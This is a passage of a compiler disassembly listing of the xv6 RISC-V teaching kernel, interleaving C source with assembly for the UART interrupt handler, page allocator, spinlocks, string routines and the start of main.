-52(ra) # 800009ac <uartgetc> if(c == -1) 800009e8: 00950763 beq a0,s1,800009f6 <uartintr+0x22> break; consoleintr(c); 800009ec: 00000097 auipc ra,0x0 800009f0: 8dc080e7 jalr -1828(ra) # 800002c8 <consoleintr> while(1){ 800009f4: b7f5 j 800009e0 <uartintr+0xc> } // send buffered characters. acquire(&uart_tx_lock); 800009f6: 00011497 auipc s1,0x11 800009fa: f0248493 addi s1,s1,-254 # 800118f8 <uart_tx_lock> 800009fe: 8526 mv a0,s1 80000a00: 00000097 auipc ra,0x0 80000a04: 210080e7 jalr 528(ra) # 80000c10 <acquire> uartstart(); 80000a08: 00000097 auipc ra,0x0 80000a0c: e42080e7 jalr -446(ra) # 8000084a <uartstart> release(&uart_tx_lock); 80000a10: 8526 mv a0,s1 80000a12: 00000097 auipc ra,0x0 80000a16: 2b2080e7 jalr 690(ra) # 80000cc4 <release> } 80000a1a: 60e2 ld ra,24(sp) 80000a1c: 6442 ld s0,16(sp) 80000a1e: 64a2 ld s1,8(sp) 80000a20: 6105 addi sp,sp,32 80000a22: 8082 ret 0000000080000a24 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(void *pa) { 80000a24: 1101 addi sp,sp,-32 80000a26: ec06 sd ra,24(sp) 80000a28: e822 sd s0,16(sp) 80000a2a: e426 sd s1,8(sp) 80000a2c: e04a sd s2,0(sp) 80000a2e: 1000 addi s0,sp,32 struct run *r; if(((uint64)pa % PGSIZE) != 0 || (char*)pa < end || (uint64)pa >= PHYSTOP) 80000a30: 03451793 slli a5,a0,0x34 80000a34: ebb9 bnez a5,80000a8a <kfree+0x66> 80000a36: 84aa mv s1,a0 80000a38: 00025797 auipc a5,0x25 80000a3c: 5c878793 addi a5,a5,1480 # 80026000 <end> 80000a40: 04f56563 bltu a0,a5,80000a8a <kfree+0x66> 80000a44: 47c5 li a5,17 80000a46: 07ee slli a5,a5,0x1b 80000a48: 04f57163 bgeu a0,a5,80000a8a <kfree+0x66> panic("kfree"); // Fill with junk to catch dangling refs. memset(pa, 1, PGSIZE); 80000a4c: 6605 lui a2,0x1 80000a4e: 4585 li a1,1 80000a50: 00000097 auipc ra,0x0 80000a54: 2bc080e7 jalr 700(ra) # 80000d0c <memset> r = (struct run*)pa; acquire(&kmem.lock); 80000a58: 00011917 auipc s2,0x11 80000a5c: ed890913 addi s2,s2,-296 # 80011930 <kmem> 80000a60: 854a mv a0,s2 80000a62: 00000097 auipc ra,0x0 80000a66: 1ae080e7 jalr 430(ra) # 80000c10 <acquire> r->next = kmem.freelist; 80000a6a: 01893783 ld a5,24(s2) 80000a6e: e09c sd a5,0(s1) kmem.freelist = r; 80000a70: 00993c23 sd s1,24(s2) release(&kmem.lock); 80000a74: 854a mv a0,s2 80000a76: 00000097 auipc ra,0x0 80000a7a: 24e080e7 jalr 590(ra) # 80000cc4 <release> } 80000a7e: 60e2 ld ra,24(sp) 80000a80: 6442 ld s0,16(sp) 80000a82: 64a2 ld s1,8(sp) 80000a84: 6902 ld s2,0(sp) 80000a86: 6105 addi sp,sp,32 80000a88: 8082 ret panic("kfree"); 80000a8a: 00007517 auipc a0,0x7 80000a8e: 5d650513 addi a0,a0,1494 # 80008060 <digits+0x20> 80000a92: 00000097 auipc ra,0x0 80000a96: ab6080e7 jalr -1354(ra) # 80000548 <panic> 0000000080000a9a <freerange>: { 80000a9a: 7179 addi sp,sp,-48 80000a9c: f406 sd ra,40(sp) 80000a9e: f022 sd s0,32(sp) 80000aa0: ec26 sd s1,24(sp) 80000aa2: e84a sd s2,16(sp) 80000aa4: e44e sd s3,8(sp) 80000aa6: e052 sd s4,0(sp) 80000aa8: 1800 addi s0,sp,48 p = (char*)PGROUNDUP((uint64)pa_start); 80000aaa: 6785 lui a5,0x1 80000aac: fff78493 addi s1,a5,-1 # fff <_entry-0x7ffff001> 80000ab0: 94aa add s1,s1,a0 80000ab2: 757d lui a0,0xfffff 80000ab4: 8ce9 and s1,s1,a0 for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000ab6: 94be add s1,s1,a5 80000ab8: 0095ee63 bltu a1,s1,80000ad4 <freerange+0x3a> 80000abc: 892e mv s2,a1 kfree(p); 80000abe: 7a7d lui s4,0xfffff for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000ac0: 6985 lui s3,0x1 kfree(p); 80000ac2: 01448533 add a0,s1,s4 80000ac6: 00000097 auipc ra,0x0 80000aca: f5e080e7 jalr -162(ra) # 80000a24 <kfree> for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000ace: 94ce add s1,s1,s3 80000ad0: fe9979e3 bgeu s2,s1,80000ac2 <freerange+0x28> } 80000ad4: 70a2 ld ra,40(sp) 80000ad6: 7402 ld s0,32(sp) 80000ad8: 64e2 ld s1,24(sp) 80000ada: 6942 ld s2,16(sp) 80000adc: 69a2 ld s3,8(sp) 80000ade: 6a02 ld s4,0(sp) 80000ae0: 6145 addi sp,sp,48 80000ae2: 8082 ret 0000000080000ae4 <kinit>: { 80000ae4: 1141 addi sp,sp,-16 80000ae6: e406 sd ra,8(sp) 80000ae8: e022 sd s0,0(sp) 80000aea: 0800 addi s0,sp,16 initlock(&kmem.lock, "kmem"); 80000aec: 00007597 auipc a1,0x7 80000af0: 57c58593 addi a1,a1,1404 # 80008068 <digits+0x28> 80000af4: 00011517 auipc a0,0x11 80000af8: e3c50513 addi a0,a0,-452 # 80011930 <kmem> 80000afc: 00000097 auipc ra,0x0 80000b00: 084080e7 jalr 132(ra) # 80000b80 <initlock> freerange(end, (void*)PHYSTOP); 80000b04: 45c5 li a1,17 80000b06: 05ee slli a1,a1,0x1b 80000b08: 00025517 auipc a0,0x25 80000b0c: 4f850513 addi a0,a0,1272 # 80026000 <end> 80000b10: 00000097 auipc ra,0x0 80000b14: f8a080e7 jalr -118(ra) # 80000a9a <freerange> } 80000b18: 60a2 ld ra,8(sp) 80000b1a: 6402 ld s0,0(sp) 80000b1c: 0141 addi sp,sp,16 80000b1e: 8082 ret 0000000080000b20 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. void * kalloc(void) { 80000b20: 1101 addi sp,sp,-32 80000b22: ec06 sd ra,24(sp) 80000b24: e822 sd s0,16(sp) 80000b26: e426 sd s1,8(sp) 80000b28: 1000 addi s0,sp,32 struct run *r; acquire(&kmem.lock); 80000b2a: 00011497 auipc s1,0x11 80000b2e: e0648493 addi s1,s1,-506 # 80011930 <kmem> 80000b32: 8526 mv a0,s1 80000b34: 00000097 auipc ra,0x0 80000b38: 0dc080e7 jalr 220(ra) # 80000c10 <acquire> r = kmem.freelist; 80000b3c: 6c84 ld s1,24(s1) if(r) 80000b3e: c885 beqz s1,80000b6e <kalloc+0x4e> kmem.freelist = r->next; 80000b40: 609c ld a5,0(s1) 80000b42: 00011517 auipc a0,0x11 80000b46: dee50513 addi a0,a0,-530 # 80011930 <kmem> 80000b4a: ed1c sd a5,24(a0) release(&kmem.lock); 80000b4c: 00000097 auipc ra,0x0 80000b50: 178080e7 jalr 376(ra) # 80000cc4 <release> if(r) memset((char*)r, 5, PGSIZE); // fill with junk 80000b54: 6605 lui a2,0x1 80000b56: 4595 li a1,5 80000b58: 8526 mv a0,s1 80000b5a: 00000097 auipc ra,0x0 80000b5e: 1b2080e7 jalr 434(ra) # 80000d0c <memset> return (void*)r; } 80000b62: 8526 mv a0,s1 80000b64: 60e2 ld ra,24(sp) 80000b66: 6442 ld s0,16(sp) 80000b68: 64a2 ld s1,8(sp) 80000b6a: 6105 addi sp,sp,32 80000b6c: 8082 ret release(&kmem.lock); 80000b6e: 00011517 auipc a0,0x11 80000b72: dc250513 addi a0,a0,-574 # 80011930 <kmem> 80000b76: 00000097 auipc ra,0x0 80000b7a: 14e080e7 jalr 334(ra) # 80000cc4 <release> if(r) 80000b7e: b7d5 j 80000b62 <kalloc+0x42> 0000000080000b80 <initlock>: #include "proc.h" #include "defs.h" void initlock(struct spinlock *lk, char *name) { 80000b80: 1141 addi sp,sp,-16 80000b82: e422 sd s0,8(sp) 80000b84: 0800 addi s0,sp,16 lk->name = name; 80000b86: e50c sd a1,8(a0) lk->locked = 0; 80000b88: 00052023 sw zero,0(a0) lk->cpu = 0; 80000b8c: 00053823 sd zero,16(a0) } 80000b90: 6422 ld s0,8(sp) 80000b92: 0141 addi sp,sp,16 80000b94: 8082 ret 0000000080000b96 <holding>: // Interrupts must be off. int holding(struct spinlock *lk) { int r; r = (lk->locked && lk->cpu == mycpu()); 80000b96: 411c lw a5,0(a0) 80000b98: e399 bnez a5,80000b9e <holding+0x8> 80000b9a: 4501 li a0,0 return r; } 80000b9c: 8082 ret { 80000b9e: 1101 addi sp,sp,-32 80000ba0: ec06 sd ra,24(sp) 80000ba2: e822 sd s0,16(sp) 80000ba4: e426 sd s1,8(sp) 80000ba6: 1000 addi s0,sp,32 r = (lk->locked && lk->cpu == mycpu()); 80000ba8: 6904 ld s1,16(a0) 80000baa: 00001097 auipc ra,0x1 80000bae: e18080e7 jalr -488(ra) # 800019c2 <mycpu> 80000bb2: 40a48533 sub a0,s1,a0 80000bb6: 00153513 seqz a0,a0 } 80000bba: 60e2 ld ra,24(sp) 80000bbc: 6442 ld s0,16(sp) 80000bbe: 64a2 ld s1,8(sp) 80000bc0: 6105 addi sp,sp,32 80000bc2: 8082 ret 0000000080000bc4 <push_off>: // it takes two pop_off()s to undo two push_off()s. Also, if interrupts // are initially off, then push_off, pop_off leaves them off. void push_off(void) { 80000bc4: 1101 addi sp,sp,-32 80000bc6: ec06 sd ra,24(sp) 80000bc8: e822 sd s0,16(sp) 80000bca: e426 sd s1,8(sp) 80000bcc: 1000 addi s0,sp,32 asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000bce: 100024f3 csrr s1,sstatus 80000bd2: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() & ~SSTATUS_SIE); 80000bd6: 9bf5 andi a5,a5,-3 asm volatile("csrw sstatus, %0" : : "r" (x)); 80000bd8: 10079073 csrw sstatus,a5 int old = intr_get(); intr_off(); if(mycpu()->noff == 0) 80000bdc: 00001097 auipc ra,0x1 80000be0: de6080e7 jalr -538(ra) # 800019c2 <mycpu> 80000be4: 5d3c lw a5,120(a0) 80000be6: cf89 beqz a5,80000c00 <push_off+0x3c> mycpu()->intena = old; mycpu()->noff += 1; 80000be8: 00001097 auipc ra,0x1 80000bec: dda080e7 jalr -550(ra) # 800019c2 <mycpu> 80000bf0: 5d3c lw a5,120(a0) 80000bf2: 2785 addiw a5,a5,1 80000bf4: dd3c sw a5,120(a0) } 80000bf6: 60e2 ld ra,24(sp) 80000bf8: 6442 ld s0,16(sp) 80000bfa: 64a2 ld s1,8(sp) 80000bfc: 6105 addi sp,sp,32 80000bfe: 8082 ret mycpu()->intena = old; 80000c00: 00001097 auipc ra,0x1 80000c04: dc2080e7 jalr -574(ra) # 800019c2 <mycpu> return (x & SSTATUS_SIE) != 0; 80000c08: 8085 srli s1,s1,0x1 80000c0a: 8885 andi s1,s1,1 80000c0c: dd64 sw s1,124(a0) 80000c0e: bfe9 j 80000be8 <push_off+0x24> 0000000080000c10 <acquire>: { 80000c10: 1101 addi sp,sp,-32 80000c12: ec06 sd ra,24(sp) 80000c14: e822 sd s0,16(sp) 80000c16: e426 sd s1,8(sp) 80000c18: 1000 addi s0,sp,32 80000c1a: 84aa mv s1,a0 push_off(); // disable interrupts to avoid deadlock. 80000c1c: 00000097 auipc ra,0x0 80000c20: fa8080e7 jalr -88(ra) # 80000bc4 <push_off> if(holding(lk)) 80000c24: 8526 mv a0,s1 80000c26: 00000097 auipc ra,0x0 80000c2a: f70080e7 jalr -144(ra) # 80000b96 <holding> while(__sync_lock_test_and_set(&lk->locked, 1) != 0) 80000c2e: 4705 li a4,1 if(holding(lk)) 80000c30: e115 bnez a0,80000c54 <acquire+0x44> while(__sync_lock_test_and_set(&lk->locked, 1) != 0) 80000c32: 87ba mv a5,a4 80000c34: 0cf4a7af amoswap.w.aq a5,a5,(s1) 80000c38: 2781 sext.w a5,a5 80000c3a: ffe5 bnez a5,80000c32 <acquire+0x22> __sync_synchronize(); 80000c3c: 0ff0000f fence lk->cpu = mycpu(); 80000c40: 00001097 auipc ra,0x1 80000c44: d82080e7 jalr -638(ra) # 800019c2 <mycpu> 80000c48: e888 sd a0,16(s1) } 80000c4a: 60e2 ld ra,24(sp) 80000c4c: 6442 ld s0,16(sp) 80000c4e: 64a2 ld s1,8(sp) 80000c50: 6105 addi sp,sp,32 80000c52: 8082 ret panic("acquire"); 80000c54: 00007517 auipc a0,0x7 80000c58: 41c50513 addi a0,a0,1052 # 80008070 <digits+0x30> 80000c5c: 00000097 auipc ra,0x0 80000c60: 8ec080e7 jalr -1812(ra) # 80000548 <panic> 0000000080000c64 <pop_off>: void pop_off(void) { 80000c64: 1141 addi sp,sp,-16 80000c66: e406 sd ra,8(sp) 80000c68: e022 sd s0,0(sp) 80000c6a: 0800 addi s0,sp,16 struct cpu *c = mycpu(); 80000c6c: 00001097 auipc ra,0x1 80000c70: d56080e7 jalr -682(ra) # 800019c2 <mycpu> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000c74: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 80000c78: 8b89 andi a5,a5,2 if(intr_get()) 80000c7a: e78d bnez a5,80000ca4 <pop_off+0x40> panic("pop_off - interruptible"); if(c->noff < 1) 80000c7c: 5d3c lw a5,120(a0) 80000c7e: 02f05b63 blez a5,80000cb4 <pop_off+0x50> panic("pop_off"); c->noff -= 1; 80000c82: 37fd addiw a5,a5,-1 80000c84: 0007871b sext.w a4,a5 80000c88: dd3c sw a5,120(a0) if(c->noff == 0 && c->intena) 80000c8a: eb09 bnez a4,80000c9c <pop_off+0x38> 80000c8c: 5d7c lw a5,124(a0) 80000c8e: c799 beqz a5,80000c9c <pop_off+0x38> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000c90: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80000c94: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80000c98: 10079073 csrw sstatus,a5 intr_on(); } 80000c9c: 60a2 ld ra,8(sp) 80000c9e: 6402 ld s0,0(sp) 80000ca0: 0141 addi sp,sp,16 80000ca2: 8082 ret panic("pop_off - interruptible"); 80000ca4: 00007517 auipc a0,0x7 80000ca8: 3d450513 addi a0,a0,980 # 80008078 <digits+0x38> 80000cac: 00000097 auipc ra,0x0 80000cb0: 89c080e7 jalr -1892(ra) # 80000548 <panic> panic("pop_off"); 80000cb4: 00007517 auipc a0,0x7 80000cb8: 3dc50513 addi a0,a0,988 # 80008090 <digits+0x50> 80000cbc: 00000097 auipc ra,0x0 80000cc0: 88c080e7 jalr -1908(ra) # 80000548 <panic> 0000000080000cc4 <release>: { 80000cc4: 1101 addi sp,sp,-32 80000cc6: ec06 sd ra,24(sp) 80000cc8: e822 sd s0,16(sp) 80000cca: e426 sd s1,8(sp) 80000ccc: 1000 addi s0,sp,32 80000cce: 84aa mv s1,a0 if(!holding(lk)) 80000cd0: 00000097 auipc ra,0x0 80000cd4: ec6080e7 jalr -314(ra) # 80000b96 <holding> 80000cd8: c115 beqz a0,80000cfc <release+0x38> lk->cpu = 0; 80000cda: 0004b823 sd zero,16(s1) __sync_synchronize(); 80000cde: 0ff0000f fence __sync_lock_release(&lk->locked); 80000ce2: 0f50000f fence iorw,ow 80000ce6: 0804a02f amoswap.w zero,zero,(s1) pop_off(); 80000cea: 00000097 auipc ra,0x0 80000cee: f7a080e7 jalr -134(ra) # 80000c64 <pop_off> } 80000cf2: 60e2 ld ra,24(sp) 80000cf4: 6442 ld s0,16(sp) 80000cf6: 64a2 ld s1,8(sp) 80000cf8: 6105 addi sp,sp,32 80000cfa: 8082 ret panic("release"); 80000cfc: 00007517 auipc a0,0x7 80000d00: 39c50513 addi a0,a0,924 # 80008098 <digits+0x58> 80000d04: 00000097 auipc ra,0x0 80000d08: 844080e7 jalr -1980(ra) # 80000548 <panic> 0000000080000d0c <memset>: #include "types.h" void* memset(void *dst, int c, uint n) { 80000d0c: 1141 addi sp,sp,-16 80000d0e: e422 sd s0,8(sp) 80000d10: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ 80000d12: ce09 beqz a2,80000d2c <memset+0x20> 80000d14: 87aa mv a5,a0 80000d16: fff6071b addiw a4,a2,-1 80000d1a: 1702 slli a4,a4,0x20 80000d1c: 9301 srli a4,a4,0x20 80000d1e: 0705 addi a4,a4,1 80000d20: 972a add a4,a4,a0 cdst[i] = c; 80000d22: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 80000d26: 0785 addi a5,a5,1 80000d28: fee79de3 bne a5,a4,80000d22 <memset+0x16> } return dst; } 80000d2c: 6422 ld s0,8(sp) 80000d2e: 0141 addi sp,sp,16 80000d30: 8082 ret 0000000080000d32 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80000d32: 1141 addi sp,sp,-16 80000d34: e422 sd s0,8(sp) 80000d36: 0800 addi s0,sp,16 const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80000d38: ca05 beqz a2,80000d68 <memcmp+0x36> 80000d3a: fff6069b addiw a3,a2,-1 80000d3e: 1682 slli a3,a3,0x20 80000d40: 9281 srli a3,a3,0x20 80000d42: 0685 addi a3,a3,1 80000d44: 96aa add a3,a3,a0 if(*s1 != *s2) 80000d46: 00054783 lbu a5,0(a0) 80000d4a: 0005c703 lbu a4,0(a1) 80000d4e: 00e79863 bne a5,a4,80000d5e <memcmp+0x2c> return *s1 - *s2; s1++, s2++; 80000d52: 0505 addi a0,a0,1 80000d54: 0585 addi a1,a1,1 while(n-- > 0){ 80000d56: fed518e3 bne a0,a3,80000d46 <memcmp+0x14> } return 0; 80000d5a: 4501 li a0,0 80000d5c: a019 j 80000d62 <memcmp+0x30> return *s1 - *s2; 80000d5e: 40e7853b subw a0,a5,a4 } 80000d62: 6422 ld s0,8(sp) 80000d64: 0141 addi sp,sp,16 80000d66: 8082 ret return 0; 80000d68: 4501 li a0,0 80000d6a: bfe5 j 80000d62 <memcmp+0x30> 0000000080000d6c <memmove>: void* memmove(void *dst, const void *src, uint n) { 80000d6c: 1141 addi sp,sp,-16 80000d6e: e422 sd s0,8(sp) 80000d70: 0800 addi s0,sp,16 const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 80000d72: 00a5f963 bgeu a1,a0,80000d84 <memmove+0x18> 80000d76: 02061713 slli a4,a2,0x20 80000d7a: 9301 srli a4,a4,0x20 80000d7c: 00e587b3 add a5,a1,a4 80000d80: 02f56563 bltu a0,a5,80000daa <memmove+0x3e> s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 80000d84: fff6069b addiw a3,a2,-1 80000d88: ce11 beqz a2,80000da4 <memmove+0x38> 80000d8a: 1682 slli a3,a3,0x20 80000d8c: 9281 srli a3,a3,0x20 80000d8e: 0685 addi a3,a3,1 80000d90: 96ae add a3,a3,a1 80000d92: 87aa mv a5,a0 *d++ = *s++; 80000d94: 0585 addi a1,a1,1 80000d96: 0785 addi a5,a5,1 80000d98: fff5c703 lbu a4,-1(a1) 80000d9c: fee78fa3 sb a4,-1(a5) while(n-- > 0) 80000da0: fed59ae3 bne a1,a3,80000d94 <memmove+0x28> return dst; } 80000da4: 6422 ld s0,8(sp) 80000da6: 0141 addi sp,sp,16 80000da8: 8082 ret d += n; 80000daa: 972a add a4,a4,a0 while(n-- > 0) 80000dac: fff6069b addiw a3,a2,-1 80000db0: da75 beqz a2,80000da4 <memmove+0x38> 80000db2: 02069613 slli a2,a3,0x20 80000db6: 9201 srli a2,a2,0x20 80000db8: fff64613 not a2,a2 80000dbc: 963e add a2,a2,a5 *--d = *--s; 80000dbe: 17fd addi a5,a5,-1 80000dc0: 177d addi a4,a4,-1 80000dc2: 0007c683 lbu a3,0(a5) 80000dc6: 00d70023 sb a3,0(a4) while(n-- > 0) 80000dca: fec79ae3 bne a5,a2,80000dbe <memmove+0x52> 80000dce: bfd9 j 80000da4 <memmove+0x38> 0000000080000dd0 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80000dd0: 1141 addi sp,sp,-16 80000dd2: e406 sd ra,8(sp) 80000dd4: e022 sd s0,0(sp) 80000dd6: 0800 addi s0,sp,16 return memmove(dst, src, n); 80000dd8: 00000097 auipc ra,0x0 80000ddc: f94080e7 jalr -108(ra) # 80000d6c <memmove> } 80000de0: 60a2 ld ra,8(sp) 80000de2: 6402 ld s0,0(sp) 80000de4: 0141 addi sp,sp,16 80000de6: 8082 ret 0000000080000de8 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80000de8: 1141 addi sp,sp,-16 80000dea: e422 sd s0,8(sp) 80000dec: 0800 addi s0,sp,16 while(n > 0 && *p && *p == *q) 80000dee: ce11 beqz a2,80000e0a <strncmp+0x22> 80000df0: 00054783 lbu a5,0(a0) 80000df4: cf89 beqz a5,80000e0e <strncmp+0x26> 80000df6: 0005c703 lbu a4,0(a1) 80000dfa: 00f71a63 bne a4,a5,80000e0e <strncmp+0x26> n--, p++, q++; 80000dfe: 367d addiw a2,a2,-1 80000e00: 0505 addi a0,a0,1 80000e02: 0585 addi a1,a1,1 while(n > 0 && *p && *p == *q) 80000e04: f675 bnez a2,80000df0 <strncmp+0x8> if(n == 0) return 0; 80000e06: 4501 li a0,0 80000e08: a809 j 80000e1a <strncmp+0x32> 80000e0a: 4501 li a0,0 80000e0c: a039 j 80000e1a <strncmp+0x32> if(n == 0) 80000e0e: ca09 beqz a2,80000e20 <strncmp+0x38> return (uchar)*p - (uchar)*q; 80000e10: 00054503 lbu a0,0(a0) 80000e14: 0005c783 lbu a5,0(a1) 80000e18: 9d1d subw a0,a0,a5 } 80000e1a: 6422 ld s0,8(sp) 80000e1c: 0141 addi sp,sp,16 80000e1e: 8082 ret return 0; 80000e20: 4501 li a0,0 80000e22: bfe5 j 80000e1a <strncmp+0x32> 0000000080000e24 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80000e24: 1141 addi sp,sp,-16 80000e26: e422 sd s0,8(sp) 80000e28: 0800 addi s0,sp,16 char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 80000e2a: 872a mv a4,a0 80000e2c: 8832 mv a6,a2 80000e2e: 367d addiw a2,a2,-1 80000e30: 01005963 blez a6,80000e42 <strncpy+0x1e> 80000e34: 0705 addi a4,a4,1 80000e36: 0005c783 lbu a5,0(a1) 80000e3a: fef70fa3 sb a5,-1(a4) 80000e3e: 0585 addi a1,a1,1 80000e40: f7f5 bnez a5,80000e2c <strncpy+0x8> ; while(n-- > 0) 80000e42: 00c05d63 blez a2,80000e5c <strncpy+0x38> 80000e46: 86ba mv a3,a4 *s++ = 0; 80000e48: 0685 addi a3,a3,1 80000e4a: fe068fa3 sb zero,-1(a3) while(n-- > 0) 80000e4e: fff6c793 not a5,a3 80000e52: 9fb9 addw a5,a5,a4 80000e54: 010787bb addw a5,a5,a6 80000e58: fef048e3 bgtz a5,80000e48 <strncpy+0x24> return os; } 80000e5c: 6422 ld s0,8(sp) 80000e5e: 0141 addi sp,sp,16 80000e60: 8082 ret 0000000080000e62 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80000e62: 1141 addi sp,sp,-16 80000e64: e422 sd s0,8(sp) 80000e66: 0800 addi s0,sp,16 char *os; os = s; if(n <= 0) 80000e68: 02c05363 blez a2,80000e8e <safestrcpy+0x2c> 80000e6c: fff6069b addiw a3,a2,-1 80000e70: 1682 slli a3,a3,0x20 80000e72: 9281 srli a3,a3,0x20 80000e74: 96ae add a3,a3,a1 80000e76: 87aa mv a5,a0 return os; while(--n > 0 && (*s++ = *t++) != 0) 80000e78: 00d58963 beq a1,a3,80000e8a <safestrcpy+0x28> 80000e7c: 0585 addi a1,a1,1 80000e7e: 0785 addi a5,a5,1 80000e80: fff5c703 lbu a4,-1(a1) 80000e84: fee78fa3 sb a4,-1(a5) 80000e88: fb65 bnez a4,80000e78 <safestrcpy+0x16> ; *s = 0; 80000e8a: 00078023 sb zero,0(a5) return os; } 80000e8e: 6422 ld s0,8(sp) 80000e90: 0141 addi sp,sp,16 80000e92: 8082 ret 0000000080000e94 <strlen>: int strlen(const char *s) { 80000e94: 1141 addi sp,sp,-16 80000e96: e422 sd s0,8(sp) 80000e98: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 80000e9a: 00054783 lbu a5,0(a0) 80000e9e: cf91 beqz a5,80000eba <strlen+0x26> 80000ea0: 0505 addi a0,a0,1 80000ea2: 87aa mv a5,a0 80000ea4: 4685 li a3,1 80000ea6: 9e89 subw a3,a3,a0 80000ea8: 00f6853b addw a0,a3,a5 80000eac: 0785 addi a5,a5,1 80000eae: fff7c703 lbu a4,-1(a5) 80000eb2: fb7d bnez a4,80000ea8 <strlen+0x14> ; return n; } 80000eb4: 6422 ld s0,8(sp) 80000eb6: 0141 addi sp,sp,16 80000eb8: 8082 ret for(n = 0; s[n]; n++) 80000eba: 4501 li a0,0 80000ebc: bfe5 j 80000eb4 <strlen+0x20> 0000000080000ebe <main>: volatile static int started = 0; // start() jumps here in supervisor mode on all CPUs. void main() { 80000ebe: 1141 addi sp,sp,-16 80000ec0: e406 sd ra,8(sp) 80000ec2: e022 sd s0,0(sp) 80000ec4: 0800 addi s0,sp,16 if(cpuid() == 0){ 80000ec6: 00001097 auipc ra,0x1 80000eca: aec080e7 jalr -1300(ra) # 800019b2 <cpuid> virtio_disk_init(); // emulated hard disk userinit(); // first user process __sync_synchronize(); started = 1; } else { while(started == 0) 80000ece: 00008717 auipc a4,0x8 80000ed2: 13e70713 addi a4,a4,318 # 8000900c <started> if(cpuid() == 0){ 80000ed6: c139 beqz a0,80000f1c <main+0x5e> while(started == 0) 80000ed8: 431c lw a5,0(a4) 80000eda: 2781 sext.w a5,a5 80000edc: dff5 beqz a5,80000ed8 <main+0x1a> ; __sync_synchronize(); 80000ede: 0ff0000f fence printf("hart %d starting\n", cpuid()); 80000ee2: 00001097 auipc ra,0x1 80000ee6: ad0080e7 jalr -1328(ra) # 800019b2 <cpuid> 80000eea: 85aa mv a1,a0 80000eec: 00007517 auipc a0,0x7 80000ef0: 1cc50513 addi a0,a0,460 # 800080b8 <digits+0x78> 80000ef4: fffff097 auipc ra,0xfffff 80000ef8: 69e080e7 jalr 1694(ra) # 80000592 <printf> kvminithart(); // turn on paging 80000efc: 00000097 auipc ra,0x0 80000f00: 0d8080e7 jalr 216(ra) # 80000fd4 <kvminithart> trapinithart(); // install kernel trap vector 80000f04: 00001097 auipc ra,0x1 80000f08: 734080e7 jalr 1844(ra) # 80002638 <trapinithart> plicinithart(); // ask PLIC for device interrupts 80000f0c: 00005097 auipc ra,0x5 80000f10: cc4080e7 jalr -828(ra) # 80005bd0 <plicinithart> } scheduler(); 80000f14: 00001097 auipc ra,0x1 80000f18: ffa080e7 jalr -6(ra) # 80001f0e <scheduler> consoleinit(); 80000f1c: fffff097 auipc ra,0xfffff 80000f20: 53e080e7 jalr 1342(ra) # 8000045a <consoleinit> printfinit(); 80000f24: 00000097 auipc ra,0x0 80000f28: 854080e7 jalr -1964(ra) # 80000778 <printfinit> printf("\n"); 80000f2c: 00007517 auipc a0,0x7 80000f30: 19c50513 addi a0,a0,412 # 800080c8 <digits+0x88> 80000f34: fffff097 auipc ra,0xfffff 80000f38: 65e080e7 jalr 1630(ra) # 80000592 <printf> printf("xv6 kernel is booting\n"); 80000f3c: 00007517 auipc a0,0x7 80000f40: 16450513 addi a0,a0,356 # 800080a0 <digits+0x60> 80000f44: fffff097 auipc ra,0xfffff 80000f48: 64e080e7 jalr 1614(ra) # 80000592 <printf> printf("\n"); 80000f4c: 00007517 auipc a0,0x7 80000f50: 17c50513 addi a0,a0,380 # 800080c8 <digits+0x88> 80000f54: fffff097 auipc ra,0xfffff 80000f58: 63e080e7 jalr 1598(ra) # 80000592 <printf> kinit(); // physical page allocator 80000f5c: 00000097 auipc ra,0x0 80000f60: b88080e7 jalr -1144(ra) # 80000ae4 <kinit> kvminit(); // create kernel page table 80000f64: 00000097 auipc ra,0x0 80000f68: 2a0080e7 jalr 672(ra) # 80001204 <kvminit> kvminithart(); // turn on paging 80000f6c: 00000097 auipc ra,0x0 80000f70: 068080e7 jalr 104(ra) # 80000fd4 <kvminithart> procinit(); // process table 80000f74: 00001097 auipc ra,0x1 80000f78: 96e080e7 jalr -1682(ra) # 800018e2 <procinit> trapinit(); // trap vectors 80000f7c: 00001097 auipc ra,0x1 80000f80: 694080e7 jalr 1684(ra) # 80002610 <trapinit> trapinithart(); // install kernel trap vector 80000f84: 00001097 auipc ra,0x1 80000f88: 6b4080e7 jalr 1716(ra) # 80002638 <trapinithart> plicinit(); // set up interrupt controller 80000f8c: 00005097 auipc ra,0x5 80000f90: c2e080e7 jalr -978(ra) # 80005bba <plicinit> plicinithart(); // ask PLIC for device interrupts 80000f94: 00005097 auipc ra,0x5 80000f98: c3c080e7 jalr -964(ra) # 80005bd0 <plicinithart> binit(); // buffer cache 80000f9c: 00002097 auipc ra,0x2 80000fa0: dde080e7 jalr -546(ra) # 80002d7a <binit> iinit(); // inode cache 80000fa4: 00002097 auipc ra,0x2 80000fa8: 46e080e7 jalr 1134(ra) # 80003412 <iinit> fileinit(); // file table 80000fac: 00003097 auipc ra,0x3 80000fb0: 408080e7 jalr 1032(ra) # 800043b4 <fileinit> 